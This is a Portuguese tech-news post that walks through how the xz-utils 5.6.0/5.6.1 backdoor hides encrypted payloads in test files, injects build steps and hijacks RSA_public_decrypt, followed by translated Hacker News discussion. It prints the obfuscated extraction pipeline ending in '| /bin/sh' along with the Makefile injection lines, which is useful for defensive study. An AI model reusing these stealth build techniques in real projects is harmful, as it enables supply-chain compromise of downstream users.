1 pontos por GN⁺ 2024-04-03 | 1 comentários | Compartilhar no WhatsApp
  • O ataque ao xz se divide em injeção de código shell na fase de configure e injeção de arquivo-objeto na fase de make, e esta análise acompanha como o script presente nos tarballs de distribuição do xz 5.6.0 e 5.6.1 insere um arquivo-objeto com backdoor na compilação
  • O código malicioso e o arquivo-objeto foram ocultados comprimidos e criptografados como se fossem arquivos binários de entrada de teste em tests/files, e a explicação já existente no README sobre “arquivos de teste feitos à mão” facilitou o disfarce
  • O código adicionado em m4/build-to-host.m4 localiza bad-3-corrupt_lzma2.xz, o restaura com tr e xz -d e depois o executa com /bin/sh; no 5.6.1 também foi incluído um mecanismo de extensão que procura scripts adicionais em um novo arquivo de teste
  • O script configure altera src/liblzma/Makefile e libtool para fazer com que o script oculto seja executado novamente durante o make, além de ajustar flags relacionadas a -z,now e PIC para que o resolver ifunc rode no momento da ligação dinâmica inicial
  • Na fase de make, ele extrai e descriptografa um objeto malicioso de good-large_compressed.lzma, depois substitui os artefatos de build de crc64_fast.c e crc32_fast.c para interceptar chamadas a RSA_public_decrypt via _get_cpuid

Estrutura geral do ataque

  • Andres Freund informou a existência do ataque ao xz na lista de e-mails oss-security@openwall, em 2024-03-29
    • No dia anterior, também avisou a equipe de segurança do Debian e a lista privada distros@openwall
    • O gatilho foi observar sintomas anormais relacionados a liblzma em uma instalação do Debian sid, como alto uso de CPU no login via SSH e erros do Valgrind
  • O ataque é composto, em linhas gerais, por duas etapas
    • Durante o configure, é injetado código shell
    • Esse código shell injeta mais código shell no make e, durante o make, adiciona um arquivo-objeto malicioso à compilação
  • Como armazenar diretamente um objeto malicioso no repositório, como evil.o, levantaria suspeitas, o invasor escondeu o código shell e o arquivo-objeto comprimidos e criptografados dentro de arquivos binários de entrada de teste
  • O diretório tests/files já existia desde antes da chegada de Jia Tan, e o README explicava que os arquivos serviam para testar implementações dos decodificadores .xz, .lzma e .lz, sendo que alguns eram feitos manualmente em um editor hexadecimal porque “não há código-fonte melhor do que o próprio arquivo”
  • O invasor se aproveitou desse contexto para parecer estar apenas adicionando alguns novos arquivos de teste

Ponto de execução visado pelo backdoor

  • O efeito final do script é fazer com que a função _get_cpuid do arquivo-objeto malicioso seja chamada como parte de um resolver GNU indirect function (ifunc)
  • Um resolver ifunc normalmente pode ser chamado de forma adiada durante a execução do programa, mas por questões de segurança é comum que todos sejam chamados logo no início da ligação dinâmica, com GOT e PLT depois mapeadas como somente leitura
  • O resolver ifunc malicioso consegue ser executado nesse momento inicial, quando GOT e PLT ainda estão graváveis
  • O backdoor localiza RSA_public_decrypt na tabela e o substitui pela versão do atacante
  • A função substituída executa código do atacante quando um certificado SSH correto é apresentado

Fase de configure: disfarce em build-to-host.m4

  • O xz-utils usa GNU autoconf e, normalmente, configure e os arquivos m4 de apoio são incluídos no tarball de distribuição, não no repositório-fonte
  • O ataque começa com a adição inesperada da biblioteca de suporte m4/build-to-host.m4 nos tarballs do xz 5.6.0 e 5.6.1
  • O build-to-host.m4 malicioso inclui mudanças plausíveis em comparação com o arquivo padrão
    • aumenta o serial de 3 para 30
    • muda o ano de copyright de 2023 para 2023-2024
    • adiciona algumas mudanças obscuras em shell e m4
  • O núcleo real é um trecho que procura no pacote distribuído por um padrão específico com grep -aErls "#{4}[[:alnum:]]{5}#{4}$" $srcdir/
    • O arquivo que corresponde a esse padrão é ./tests/files/bad-3-corrupt_lzma2.xz
    • Como resultado, gl_am_configmake passa a apontar para esse arquivo de teste
  • gl_path_map é definido com tr "\t \-_" " \t_\-", trocando entre si tabulação e espaço, underscore e hífen

Restauração do primeiro script oculto

  • gl_[$1]_prefix extrai o elemento após o último ponto no nome do arquivo, resultando em xz
    • O nome parece ser um prefixo, mas na prática é a extensão do arquivo
    • Isso vira o nome de um comando de compressão que provavelmente já está instalado na máquina de build
  • A string de comando formada depois parece, à primeira vista, usar sed "r\n", mas na prática é mais próxima de um cat ofuscado
    • O r\n do sed tenta ler um arquivo inexistente chamado \n, então nada acontece
    • Como não há -n, a entrada é impressa como está
  • O comando efetivamente executado tem esta forma
cat ./tests/files/bad-3-corrupt_lzma2.xz | tr "\t \-_" " \t_\-" | xz -d
  • Esse comando é avaliado durante a execução de config.status por meio de AC_CONFIG_COMMANDS
  • Na saída restaurada aparecem ####Hello#### e ####World####; segundo o README, o primeiro e o terceiro fluxos de bad-3-corrupt_lzma2.xz são fluxos xz válidos, e apenas o fluxo do meio tem dados LZMA2 corrompidos

Diferenças entre 5.6.0 e 5.6.1

  • No xz 5.6.0, o primeiro script restaurado recorta um intervalo específico de bytes de good-large_compressed.lzma, aplica transformações, descompacta como fluxo LZMA bruto e entrega o resultado para /bin/sh
  • No xz 5.6.1, o primeiro script restaurado inclui cinco vezes uma linha que tenta encerrar a execução se não for Linux
    • [ ! $(uname) = "Linux" ] && exit 0
    • Depois, o script longo que é alvo da análise também contém uma linha de verificação de Linux específica do 5.6.1
    • Essa linha tem um bug porque não há espaços em torno de =
  • O 5.6.1 difere do 5.6.0 no número final de bytes do head, no deslocamento do tail e nos argumentos do tr
    • No exemplo, o 5.6.1 extrai 16×2048+939 = 33,707 bytes
    • Depois usa tail -c +31233 para ficar com os últimos 31.233 bytes
  • O pipeline de extração é composto pelas etapas a seguir
    • descompactar good-large_compressed.lzma com xz -dc
    • extrair um intervalo específico de bytes com um pipeline de head
    • selecionar a parte final com tail
    • aplicar uma cifra simples de substituição com tr
    • descompactar um fluxo LZMA bruto com xz -F raw --lzma1 -dc
    • executar o resultado com /bin/sh

Mecanismo de extensão do 5.6.1

  • O script longo contém vários pontos em que faz eval de variáveis não definidas
    • Ex.: eval $zrKcVq, eval $zrKcSS
    • Pode ser para saída de depuração ou para pontos de extensão onde valores seriam definidos por outros mecanismos no futuro
  • Se config.status existir, o script lê LD, CC, GCC, srcdir, build, enable_shared, enable_static, gl_path_map e outros
  • O código de extensão novo no 5.6.1 procura duas strings mágicas em tests/files
    • string inicial: ~!:_ W
    • string final: |_!{ -
  • Se as duas strings estiverem no mesmo arquivo, ele extrai os bytes entre elas, passa por tr e por descompactação raw LZMA2 e faz eval da saída
  • Esse mecanismo parece ter sido criado para permitir a inclusão de novos scripts em outros arquivos de teste no futuro, sem precisar justificar a recriação de arquivos binários de teste já existentes

Condições de execução na fase de configure

  • O script encerra silenciosamente se as condições necessárias para o backdoor não forem atendidas
  • O suporte a GNU ifunc precisa estar ativo
    • config.status precisa conter ["HAVE_FUNC_ATTRIBUTE_IFUNC"]=" 1"
    • config.h precisa conter define HAVE_FUNC_ATTRIBUTE_IFUNC 1
  • A compilação de biblioteca compartilhada precisa estar habilitada
    • enable_shared precisa ser yes
  • O alvo de build precisa ser Linux x86-64
    • build precisa satisfazer as condições ^x86_64 e linux-gnu$
  • Os fontes relacionados ao ifunc de CRC precisam estar intactos
    • crc64_fast.c
    • crc32_fast.c
    • crc_x86_clmul.h
  • Também há verificações de compilador e linker
    • GCC=yes
    • CC=gcc
    • a saída de LD -v precisa incluir GNU ld
  • Os arquivos de teste que carregam o backdoor, good-large_compressed.lzma e bad-3-corrupt_lzma2.xz, precisam estar presentes

Modificações em Makefile e libtool

  • Se houver debian/rules ou RPM_ARCH=x86_64, a fase de configure executa código que altera src/liblzma/Makefile
  • Primeiro ele verifica se há várias linhas no Makefile que servirão depois como pontos de inserção
    • ACLOCAL_M4 = $(top_srcdir)/aclocal.m4
    • am__uninstall_files_from_dir = {
    • am__install_max =
    • am__vpath_adj_setup =
    • am__include = include
    • all: all-recursive
    • LTLIBRARIES = $(lib_LTLIBRARIES)
    • AM_V_CCLD = $(am__v_CCLD_$(V))
  • Em libtool, ele verifica se existe pic_flag=" -fPIC -DPIC"
  • Depois usa sed -i para espalhar pelo Makefile linhas com características como estas
    • am__test = bad-3-corrupt_lzma2.xz
    • am__strip_prefix = tr ...
    • am__dist_setup = ... | xz -d ... | $(SHELL)
    • am__test_dir = $(top_srcdir)/tests/files/$(am__test)
  • am__test_dir parece, pelo nome, apontar para um diretório, mas na verdade aponta para um arquivo
  • As linhas adicionadas não ficam agrupadas em um só lugar; elas são inseridas em vários pontos do Makefile para que o arquivo gerado pareça plausivelmente complexo

Flags do linker e execução recursiva

  • O script da fase de configure acrescenta -Wl,--sort-section=name,-X a liblzma_la_LDFLAGS
  • Se LDFLAGS ainda não tiver -z,now ou -z -Wl,now, ele também adiciona -z,now
  • -Wl,now faz o carregador dinâmico resolver todos os símbolos já no início do programa, forçando o comportamento de LD_BIND_NOW
    • Nesse processo, o resolver ifunc é executado no startup
    • O backdoor consegue rodar quando GOT e PLT ainda estão graváveis
  • As flags PIC do libtool passam a ser
    • antes: -fPIC -DPIC
    • depois: -fPIC -DPIC -fno-lto -ffunction-sections -fdata-sections
  • O script também adiciona AM_V_CCLD e um longo trecho de shell ao Makefile
    • No fim, ele executa sed rpath $(am__test_dir) | $(am__dist_setup)
    • sed rpath também funciona como um cat ofuscado
  • Como resultado, durante o make o seguinte pipeline é executado novamente
cat ./tests/files/bad-3-corrupt_lzma2.xz |
tr "\t \-_" " \t_\-" |
xz -d |
/bin/sh

Fase de make: extração do arquivo-objeto

  • Na fase de make, o script é executado de novo dentro do diretório src/liblzma
  • Como config.status não está no diretório atual, a parte de edição do Makefile feita na fase de configure é ignorada
  • Em vez disso, se .libs/liblzma_la-crc64_fast.o e .libs/liblzma_la-crc32_fast.o existirem, ele conclui que está no meio do make e executa o código seguinte
  • O 5.6.1 também adiciona um novo hook de extensão para a fase de make
    • string inicial: jV!.^%
    • string final: %.R.1Z
    • não há arquivo de teste com essas strings, então isso parece ser uma estrutura reservada para expansão futura
  • Ele volta a verificar se os fontes ligados ao ifunc de CRC estão como esperado
  • Também verifica se as flags de compilação e link adicionadas na fase de configure foram aplicadas
    • ../../libtool precisa conter as flags PIC adicionais
    • liblzma_la_LINK precisa conter -z,now ou -z -Wl,now
    • se houver lazy, ele encerra

Descriptografia e seleção do objeto malicioso

  • O script escolhe um de dois valores de deslocamento com base no conteúdo de gettext.m4
    • Como o gettext.m4 distribuído no tarball do xz não contém a string verificada, no build de exemplo ele usa toda a entrada
  • Ele descompacta novamente good-large_compressed.lzma e extrai 33.707 bytes com o pipeline de head definido anteriormente em i
  • Essa saída é dividida em bytes individuais e um awk executa uma função de descriptografia semelhante a RC4
    • Na versão 5.6.1, o segundo loop vai até 8192
    • Na versão 5.6.0, o loop correspondente vai até 4096
  • A saída descriptografada é então descompactada mais uma vez com xz -dc --single-stream
    • --single-stream faz a leitura parar no primeiro marcador de EOF do xz, evitando ler a área extraída anteriormente com tail
  • O resultado final é gravado em liblzma_la-crc64-fast.o

Substituição dos objetos CRC

  • O script faz backup do artefato real de build .libs/liblzma_la-crc64_fast.o com um nome muito parecido, .libs/liblzma_la-crc64-fast.o
    • aproveitando a diferença entre underscore (crc64_fast) e hífen (crc64-fast)
  • Em seguida, ele compila uma versão de crc64_fast.c modificada com sed e inclui junto o objeto malicioso extraído liblzma_la-crc64-fast.o, sobrescrevendo .libs/liblzma_la-crc64_fast.o
  • O código C inserido cria uma nova _is_arch_extension_supported, que por dentro chama _get_cpuid
  • A função crc64_resolve original passa a chamar _is_arch_extension_supported() no lugar de is_arch_extension_supported()
  • _get_cpuid é fornecida pelo arquivo-objeto do backdoor e executa ações extras antes de retornar informações de cpuid
    • em especial, altera GOT e PLT para interceptar chamadas a RSA_public_decrypt

Tratamento do lado crc32 e limpeza

  • Se a modificação do crc64 der certo, o script aplica mudanças semelhantes também em crc32_fast.c
  • No lado crc32, ele não adiciona o arquivo-objeto do backdoor
    • para evitar inserir o mesmo objeto malicioso duas vezes no build
  • Não está claro por que ele intercepta tanto o ifunc de crc32 quanto o de crc64
    • a análise sugere que apenas um deles já pareceria suficiente
    • uma possibilidade é que isso ajude a fazer os dois caminhos de despacho parecerem semelhantes no depurador
  • Se as duas compilações tiverem sucesso, ele relinka o arquivo .la com liblzma_la_LINK
  • Se o link funcionar, mas .libs/liblzma.so não existir, isso é tratado como falha e os backups são restaurados
  • Independentemente de sucesso ou falha, ele apaga .libs/liblzma.a, .libs/liblzma.la, .libs/liblzma.lai e .libs/liblzma.so*
    • assumindo que a etapa normal de link do Makefile irá recriá-los depois
  • No caminho de falha, os objetos crc32 e crc64 salvos em backup voltam aos nomes originais
  • No final, ele remove arquivos temporários e de backup, operando de forma a injetar o objeto malicioso nos artefatos do make sem deixar rastros

1 comentários

 
GN⁺ 2024-04-03
Opiniões no Hacker News
  • Como alguém que detesta autotools há muito tempo, eu gostaria de dizer que este caso justifica minha posição, mas qualquer sistema de build complexo o bastante para dar suporte a múltiplas plataformas inevitavelmente se torna inescrutável o suficiente para alguém inserir algo assim
    Ainda assim, é realmente um problema que tanto software seja compilado por meio de scripts de shell gigantescos, estilo cargo cult, que praticamente ninguém entende por completo

    • Vejo como causa fundamental o uso comum de bash e de linguagens com sintaxe complexa e densa
      Se os scripts de build fossem escritos em Python, teria sido muito mais difícil ofuscar o backdoor. Todos teriam visto que era um código estranho. Código bash tende a ser considerado normal mesmo quando não dá para ler
    • Entendo as críticas ao autotools e nunca invejei quem mantinha scripts de configuração, mas, do ponto de vista de usuário, sinto falta da época em que a instalação de quase todo software terminava com ./configure && make && make install
    • autotools precisa desaparecer, mas a maioria dos casos de uso fundamentais que geram a complexidade dos sistemas de build se resume a gerenciamento e detecção de dependências
      A raiz da complexidade é a completa falta de boas práticas para esse fluxo; nessas condições, isso não pode ser resolvido com um único arquivo de configuração de build como mybuild.toml
    • Concordo, e no fim a tentativa de dar suporte a uma gama tão ampla de plataformas exige um sistema complexo, o que nos leva a perguntar quanto risco enorme estamos assumindo
      E também me pergunto por que é necessário um sistema complexo para compilar algo que, como uma biblioteca de compressão, essencialmente só precisa lidar com matemática e alocação de memória
    • Penso o mesmo. É grande a tentação de culpar o m4 por toda essa situação, mas isso está mais para o trauma falando
  • Como desenvolvedor, é surpreendente, e o que aos meus olhos parece uma técnica de ataque de altíssimo nível talvez seja apenas de dificuldade iniciante a intermediária para quem trabalha nesse nível
    Entre as coisas que aparecem no HN há exemplos em um patamar muito mais alto, então acho que, havendo dinheiro suficiente ou outros incentivos, isso é só o começo do que é possível. Pensando nos inúmeros pacotes no GitHub e nos milhões de bibliotecas, esse vetor é tão eficaz que tenho certeza de que centenas de casos semelhantes serão revelados nos próximos meses
    Preocupam-me empresas de hardware para consumidores e prosumers, de Philips Hue a Alexa, SumUp, fabricantes de câmeras, Netgear e TP-Link. Seus produtos são cheios de bibliotecas open source, e tenho 100% de certeza de que a maioria das equipes de desenvolvimento não dedica tempo a procurar esses vetores de injeção furtivos

    • É difícil entender a lógica de que “a maioria das equipes de desenvolvimento não dedica tempo a procurar esses vetores de injeção furtivos”, e parece que quem critica o inferno das dependências está tentando usar este cenário para fazer os mantenedores de open source parecerem ainda piores
      Uma organização comercial que se apresenta como confiável faz análise da cadeia de suprimentos antes de adotar dependências. É por isso que normalmente se paga à Red Hat para manter uma distribuição Linux estável, e por isso projetos como o FreeBSD restringem fortemente o software incluído na instalação padrão
      Se você foi afetado por isso, é uma pena, mas a responsabilidade é sua. Se está preocupado que um desenvolvedor de software que você usa gratuitamente, como cerveja grátis, mude de atitude, então ofereça incentivos para que isso não aconteça — ou seja, pague —, ou faça um fork do projeto e acrescente suas próprias medidas de segurança
      Se está preocupado com ataques à cadeia de suprimentos nas dependências de software comercial, deve negociar um contrato que inclua compensação por esses danos. Se não está disposto a fazer isso, não está sendo profissional
      E, para deixar claro, estou falando seriamente que até as dependências mais básicas, como SSH, devem ter sua cadeia de suprimentos verificada
    • Na verdade, é o contrário. Desenvolvedores e mantenedores que entendem mais do que nós descreveram este caso como um ataque altamente sofisticado
      Os primeiros textos de infosec conseguiam explicar apenas parte do código, mas não a estratégia completa do ataque. Isso porque o ataque e o código eram sofisticados. As análises iniciais explicaram o ataque de formas diferentes porque não era algo simples de entender, e só depois surgiram textos dizendo algo como “finalmente parece ser um ataque de execução remota de código”
      Agora que já existem até scanners para detectar a vulnerabilidade em servidores, todo mundo pode dizer “ah, aquilo era um ataque simples e idiota demais; por que não perceberam antes?”
    • Por isso não vejo vantagem no fato de a TP-Link fazer firmware de roteador baseado em OpenWRT. Nos meus dispositivos, quero que rode o projeto upstream puro ou algo que, por design, acompanhe o upstream
      Isso vale igualmente para todos os dispositivos. Também não gosto de o Android ter que usar kernels antigos, e não gostava quando o macOS rodava linhagens Darwin/BSD defasadas. Preocupa-me o esforço necessário para backporting
      Claro que isso não significa que open source não tenha vulnerabilidades
    • Qualquer organização minimamente bem administrada tem um mecanismo para receber atualizações quando surge um problema de segurança em uma dependência. Dependendo do setor, reguladores ou entidades certificadoras, como PCI, também exigem isso
      Talvez devêssemos temer mais os backdoors invisíveis dentro de software proprietário, que quase nunca serão descobertos
  • Acho que o infográfico de Thomas Roccia ainda não foi mencionado aqui: https://twitter.com/fr0gger_/status/1774342248437813525

    • Boa parte parece forçar a ligação entre indícios sem base
      Por exemplo, o oss-fuzz estava compilando o xz clonando diretamente o repositório do GitHub. O backdoor estava apenas no tarball, não no repositório, então não havia chance de o oss-fuzz descobri-lo. Portanto, aquele PR do oss-fuzz pode muito bem ter sido uma mudança real, sem relação com o backdoor
    • Jia Tan pediu às distribuições que atualizassem rapidamente pouco antes da divulgação pública
      Qual é a probabilidade de que houvesse outra conta ou pessoa nas proximidades de Andreas Freund que tenha ficado sabendo antes que o backdoor seria divulgado? Isso ainda me faz pensar na possibilidade de haver outros insiders por perto
    • Esse material mostra apenas, em alto nível, parte de como o exploit foi inserido na liblzma; não trata de forma alguma de como o exploit funciona nem do seu conteúdo
    • Pela linha do tempo, o ataque começou com a adição de itens a serem ignorados no arquivo .gitignore. Hoje em dia é difícil detectar esse tipo de coisa
  • Do ponto de vista de um observador ingênuo, a parte mais chamativa é esta:
    “Como muitos arquivos foram criados manualmente com um editor hexadecimal, não existe ‘código-fonte’ melhor do que os próprios arquivos.” Entendo que isso possa acontecer em bibliotecas de parsing como a liblzma. Para o atacante, deve ter parecido que ele estava apenas adicionando alguns novos arquivos de teste
    Os arquivos em si são assustadores, mas dá para entender o motivo. Ainda assim, não daria para pelo menos separá-los do build?
    “Normalmente, o script configure e as bibliotecas de suporte são adicionados apenas ao tarball de distribuição, não ao repositório de código-fonte. A distribuição do xz também funciona assim.”
    Deixando de lado a indignação ritual contra o autotools, não entendo por que arquivos de teste precisam entrar no tarball. Testes maliciosos também poderiam infectar a máquina do desenvolvedor, mas se o tarball é para construir o artefato final, a política não deveria ser incluir apenas o necessário? Especialmente se os arquivos de teste forem blobs binários impossíveis de auditar

    • É bem comum rodar testes no CI depois do build para verificar se não há problemas em determinados ambientes
      Mas, da última vez que fizemos isso, preferimos o Git upstream e geramos nós mesmos os artefatos necessários do autoconf. A ideia de um tarball de release contendo coisas que não estão no Git nunca me agradou
    • Mesmo que haja uma certa quantidade de código gerado pelo autoconf, eles ainda são tarballs de código-fonte
      Deve ser possível compilar o código na máquina de destino e depois executar os testes
    • Além de verificar se o programa compilado no destino funciona corretamente, testes são necessários porque, para compilar com otimização baseada em perfil, é preciso ter exemplos de execução a serem otimizados
  • “A primeira diferença é que o script faz questão, com absoluta certeza, de encerrar se não estiver sendo executado no Linux.”
    As verificações repetidas certamente são um mistério. Minha hipótese é que o atacante pode ter colocado a repetição para parecer plausível como entrada de teste de uma biblioteca de compressão

    • Pode ter sido para garantir espaço para alterações no script. Afinal, daria para sobrescrever os bytes iniciais do script
      Ou talvez tenha sido apenas preguiça
    • Eu também achei estranho. No começo do script também há bytes aleatórios diferentes anexados, e não são texto, são bytes aleatórios de verdade. Só que há um símbolo de hash na frente, então eles viram comentário e não afetam o script
      Parece intencional, mas não sei por que está lá. Pensei que talvez tivessem sido adicionados para preencher tamanho, já que o xz poderia pular a compressão se a entrada fosse curta demais ou pouco complexa, mas, depois de removê-los e recomprimir com xz, a compressão funcionou corretamente e o texto original não permaneceu nos bytes do arquivo compactado
      Uma coisa que descobri tentando reproduzir os bytes exatos do arquivo .xz commitado no Git é que o stream xz desse script não parece ter sido comprimido com o preset padrão do xz. Só consegui reproduzir usando xz --lzma2=dict=65536 -c stream_2, e todos os presets numéricos padrão escolhiam um tamanho de dicionário diferente. Isso também parece intencional, mas não entendi o motivo
    • Não poderia ser para aumentar ou ofuscar parte do arquivo de teste compactado?
      Sem a repetição, talvez surgisse dentro do arquivo compactado algum binário estranho que acionasse ferramentas de segurança ou antivírus
    • Será mesmo um mistério? O atacante provavelmente tinha como alvo Linux x86, e não há garantia de que o suporte a IFUNC funcione em outras plataformas
    • Se fosse executado em algo que não fosse Linux, talvez diferenças do sistema operacional fizessem o script travar ou deixassem rastros, levando à descoberta
  • É tragicamente engraçado como a tecnologia moderna se tornou absurdamente complexa e desnecessariamente insondável, e isso só está piorando. Parece que os desenvolvedores apreciam isso de forma sádica

    • Essa provavelmente é a pior interpretação
      É bastante impressionante que as ferramentas consigam acompanhar o aumento da complexidade dos produtos que criamos. Sinceramente, na maioria dos casos as coisas estão apenas ficando mais simples, e isso se parece mais com pessoas que não querem aprender algo novo
  • Quem quer que tenha contratado essas pessoas para se infiltrar neste projeto deve ter investido uma quantidade enorme de tempo tentando fazer com que isso escapasse da detecção por muito tempo. Felizmente, era tão complexo que não conseguiram levar todos os fatores em conta
    Por isso acho que, em termos de segurança, o open source sempre será melhor que o software fechado. Claro, este caso expôs uma enorme falha na cadeia de suprimentos e também mostrou como os componentes de base do FOSS são subestimados, deixando mantenedores vulneráveis à manipulação
    Mas e se o mesmo ataque tivesse acontecido dentro de uma empresa privada? Talvez nem fosse necessária ofuscação avançada. Com um PR suficientemente grande e um prazo se aproximando, dá para enfiar algo assim sorrateiramente em sistemas de produção com esforço mínimo. Quando a empresa percebesse o que aconteceu, a pessoa já estaria voando para um país sem tratado de extradição, vendendo os dados vazados no Tor ou na dark web

    • Acho que há viés de sobrevivência aqui. Como saber quantas tentativas parecidas tiveram sucesso? De tudo o que foi descoberto, quanto foi simplesmente descartado como erro? Por exemplo, como ter certeza de que o Heartbleed não foi colocado intencionalmente por alguém, e que essa pessoa não ficou imensamente rica com isso?
      Quando você é contratado por uma empresa privada, a empresa sabe quem você é. Isso por si só é um inibidor imediato contra comportamentos suspeitos. No GitHub, ninguém sabe quem você é. Pode ser mais difícil colocar um backdoor em um projeto sem ser pego, mas, se for pego, não há risco a assumir. Você pode continuar tentando quantas vezes quiser. Jia Tan ainda não foi preso, e nem precisou planejar a vida inteira para morar em um país sem tratado de extradição. A menos que já estivesse em um desses lugares
    • É difícil concordar. A maioria das empresas privadas vai exigir uma reunião presencial na contratação. Mesmo que seja totalmente remota, existe a expectativa de que em algum momento você encontrará colegas pessoalmente, provavelmente antes de fazer commits significativos. Se a empresa vale a pena ser infiltrada, quase certamente exigirá verificação de antecedentes
      E, mesmo depois de entrar, você não pode simplesmente commitar à vontade no projeto-alvo. Seu gerente e o gerente dele têm outras prioridades. A gestão frequentemente disfuncional de empresas com fins lucrativos acaba funcionando aqui como um freio. Você não só precisa justificar o código em si, mas também explicar por que estava fazendo aquele trabalho para começo de conversa
    • Fugindo um pouco do assunto, mas, pelos padrões dos EUA hoje em dia, quantos países sem tratado de extradição ainda existem de fato?
      Mesmo países com relações complicadas podem extraditar se isso for politicamente conveniente como parte de uma negociação. A Rússia provavelmente não teria mantido Snowden se ele não tivesse revelado segredos de Estado. Se fosse só um vazamento de dados comum, talvez o trocassem por algum oligarca preso em outro lugar por lavagem de dinheiro
    • Seria um projeto de aula interessante investigar projetos pequenos, aparentemente relativamente inofensivos, mas usados em quase todo lugar, para ver se poderiam ser tratados da mesma forma ou se algo semelhante já aconteceu
      Só montar a lista já seria útil
  • A lição deste caso talvez seja que não se deve permitir anonimato a contribuidores centrais de projetos open source importantes. Este ataque teve sucesso e o atacante provavelmente vai sair sem pagar preço algum, porque era anônimo

    • Discordo
      Uma medida dessas não ajudaria, e, para atores estatais ou ameaças persistentes avançadas semelhantes, seria fácil contorná-la acrescentando roubo de identidade a mais uma etapa do ataque, ou usando um agente que possa ser protegido mesmo se o backdoor for descoberto
      Por outro lado, as barreiras técnicas necessárias para esse tipo de processo provavelmente causariam grande dano a toda a comunidade open source
      A solução aqui é aprender com esse ataque e mudar para práticas que tornem ataques parecidos mais difíceis. Arquivos que não estão no repositório nunca devem entrar no tarball de release. Todo código gerado como resultado disso deve ser commitado, e os scripts de build devem regenerar o código derivado e falhar se ele diferir do código commitado. Dados difíceis de entender não devem estar acessíveis durante o processo de build de release, e testes que dependem de dados binários devem ser construídos de forma totalmente separada dos binários de release
    • Há dois problemas
      Primeiro, muitos contribuidores importantes, especialmente na área de segurança, preferem atuar sob pseudônimo por motivos válidos. Forçar a divulgação da identidade os afastaria
      Segundo, se uma agência de inteligência estiver por trás, como muita gente especula, essa agência consegue criar uma identidade “real” de qualquer forma. No fim, você exclui quem ajuda e não exclui os atacantes
    • Além de ser impossível de aplicar, talvez nem seja uma boa ideia. Se a identidade dos mantenedores de projetos open source importantes for conhecida, fica mais fácil pressioná-los
    • Se isto for um ator estatal, e de fato parece ser, que tipo de verificação dá para fazer? Eles provavelmente conseguiriam produzir documentos legítimos, sejam carteira de motorista, número de seguridade social, documento nacional de identidade, passaporte etc.
      Se um governo estiver envolvido, não há limites. A única saída seria exigir presença física em um local confiável, torcendo para que esse local não esteja sob a jurisdição do atacante
    • O que e quem define um projeto importante?
      Se alguém cria uma biblioteca e outras pessoas começam a usá-la, essa pessoa será obrigada a revelar a identidade? O mantenedor recebe dinheiro?
  • Se você já trabalhou com desenvolvimento, seja fechado ou aberto, sabe que os desenvolvedores aprovam PRs meio que na preguiça em metade das vezes. Linus Torvalds é mais uma rara exceção, passando o dia apontando problemas

    • Concordo
      Se alguém é exigente o bastante para realmente prestar atenção com cuidado, essa pessoa facilmente passa a ser vista como um incômodo que atrapalha o desenvolvimento. Surgem tensões com a equipe porque ela “fica procurando pelo em ovo”
      Para ser transparente, estou em uma situação parecida agora. Eu não sou o lado exigente; um dos desenvolvedores que contratei é. Infelizmente, a postura cuidadosa dele não foi bem avaliada, então tive de tirá-lo da equipe. O fato de ele ser do Leste Europeu e dar feedback de forma muito direta também não ajudou
  • Utilitários Unix vêm sendo testados há muito tempo. Eu gostaria que o kernel e os utilitários centrais fossem congelados e não fossem alterados. A menos que seja realmente necessário
    Se não está quebrado, não conserte. O império do software parece estar fora de controle

    • Está tudo quebrado. É o resultado acumulado de 50 anos e um milhão de desenvolvedores empilhando hacks rápidos para fazer as coisas funcionarem mais ou menos hoje
      De vez em quando há exemplos brilhantes de algo bem feito, mas, no geral, é mais correto dizer que essas coisas foram completamente soterradas